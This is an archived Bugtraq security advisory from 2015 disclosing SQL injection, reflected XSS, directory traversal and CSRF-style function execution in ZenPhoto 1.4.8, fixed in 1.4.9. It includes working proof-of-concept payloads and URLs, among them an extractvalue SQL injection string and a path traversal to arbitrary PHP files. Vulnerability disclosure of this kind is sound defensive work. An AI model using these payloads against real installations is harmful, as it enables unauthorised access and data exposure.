bugtraq - SQL Injection, Reflected XSS, Path Traversal, Function Execution in ZenPhoto 1.4.8

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <55A0057F.1020508@gmail.com>
Date: Fri, 10 Jul 2015 19:48:47 +0200
From: Tim Coen <tc.coen@...il.com>
To: bugtraq@...urityfocus.com
Subject: SQL Injection, Reflected XSS, Path Traversal, Function Execution
 in ZenPhoto 1.4.8

Vulnerability: SQL Injection, Reflected XSS, Path Traversal
Affected Software: ZenPhoto (http://www.zenphoto.org/)
Affected Version: 1.4.8 (probably also prior versions)
Patched Version: 1.4.9
Risk: Medium
Vendor Contacted: 2015-05-18
Vendor Fix: 2015-07-09
Public Disclosure: 2015-07-10

SQL Injection
=============

	There are multiple second order error based SQL injections into the
ORDER BY keyword in the admin area.

	 - visit zp-core/admin-options.php?saved&tab=gallery
		 alternatively visit zp-core/admin-options.php?saved&tab=image
	 - Set "Sort gallery by" to "Custom"
	 - set custom fields to "id,extractvalue(0x0a,concat(0x0a,(select
version())))%23"
	 - visit zp-core/admin-upload.php?page=upload&tab=http&type=images
	 - alternatively, visiting either of these will also trigger the injection:
		/
		zp-core/admin-edit.php
		zp-core/admin-users.php?page=users
		zp-core/admin-themes.php

	The result is only directly displayed if the server is configured to
report errors, but it can also be seen in the logfile located at
zp-core/admin-logs.php?page=logs

XSS 1
=====

	http://localhost/zenphoto-zenphoto-1.4.8/zp-core/admin-upload.php?error=%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B
	http://localhost/zenphoto-zenphoto-1.4.8/zp-core/utilities/backup_restore.php?compression=%26lt%3Bscript%26gt%3Balert%281%29%26lt%3B%2Fscript%26gt%3B

    The payload must first be HTML entity-encoded, and then URL encoded.

XSS 2
=====


http://localhost/zenphoto-security-fixes/zp-core/admin.php?action=external&error="
onmouseover="alert('xsstest')" foo="bar&msg=hover over me!

Directory Traversal
===================

	For an admin, it is possible to view and edit any PHP or inc files, not
just the ones inside the theme directory.

	http://localhost/zenphoto-zenphoto-1.4.8/zp-core/admin-themes-editor.php?theme=../../../../../var/www&file=secret.php


Execute Function
================

An admin user can execute any function they want via this URL (there is
no CSRF protection for it):

    localhost/zenphoto-security-fixes/zp-core/admin.php?action=phpinfo

This gives up some control over the control flow of the site, which
might cause problems, especially considering the missing of CSRF protection.

Source
======

http://software-talk.org/blog/2015/07/second-order-sql-injection-reflected-xss-path-traversal-function-execution-vulnerability-zenphoto/